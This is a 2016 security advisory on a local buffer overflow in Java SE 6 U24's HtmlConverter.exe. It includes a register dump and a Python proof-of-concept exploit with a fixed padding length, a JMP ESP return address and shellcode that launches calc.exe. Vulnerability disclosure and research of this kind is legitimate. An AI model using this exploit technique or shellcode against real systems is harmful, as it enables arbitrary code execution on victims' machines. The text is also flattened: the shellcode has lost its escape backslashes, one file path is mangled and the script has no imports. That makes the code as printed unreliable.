Java Platform SE 6 U24 HtmlConverter.exe Buffer Overflow
Posted on 21 January 2016
[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/ORACLE-HTMLCONVERTER-BUFFER-OVERFLOW.txt Vendor: =============== www.oracle.com Product: ======================================== Java Platform SE 6 U24 HtmlConverter.exe Product Version: 6.0.240.50 The HTML Converter is part of Java SE binary part of the JDK and Allows web page authors to explicitly target the browsers and platforms used in their environment when modifying their pages. Vulnerability Type: ============================ Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ===================== When calling htmlConverter.exe with specially crafted payload it will cause buffer overflow executing arbitrary attacker supplied code. This was a small vulnerability included as part of the overall Oracle CPU released on January 19, 2016. Reference: http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html registers ... EAX FFFFFFFE ECX FFFFFFFE EDX 0008E3C8 EBX 7EFDE000 ESP 0018FEB4 EBP 0018FF88 ESI 00001DB1 EDI 00000000 EIP 52525252 <-------- "RRRR" x52 C 0 ES 002B 32bit 0(FFFFFFFF) P 0 CS 0023 32bit 0(FFFFFFFF) A 1 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 Exploit code(s): =============== ###pgm="C:\Oracle\Middleware\jdk160_24\bin\HtmlConverter.exe " #EIP @ 2493 pgm="C:\Program Files (x86)\Javajdk160_24\bin\HtmlConverter.exe " #EIP 2469 - 2479 #shellcode to pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") #JMP ESP kernel32.dll rp=struct.pack('<L', 0x76E72E2B) payload="A"*2469+rp+"x90"*10+sc subprocess.Popen([pgm, payload], shell=False) Disclosure Timeline: ===================================== Vendor Notification: August 28, 2015 January 20, 2016 : Public Disclosure Exploitation Technique: ======================= Local Severity Level: =============== Medium Description: ============================================================= Vulnerable Product: [+] Java SE 6 U24 HtmlConverter.exe ============================================================= [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx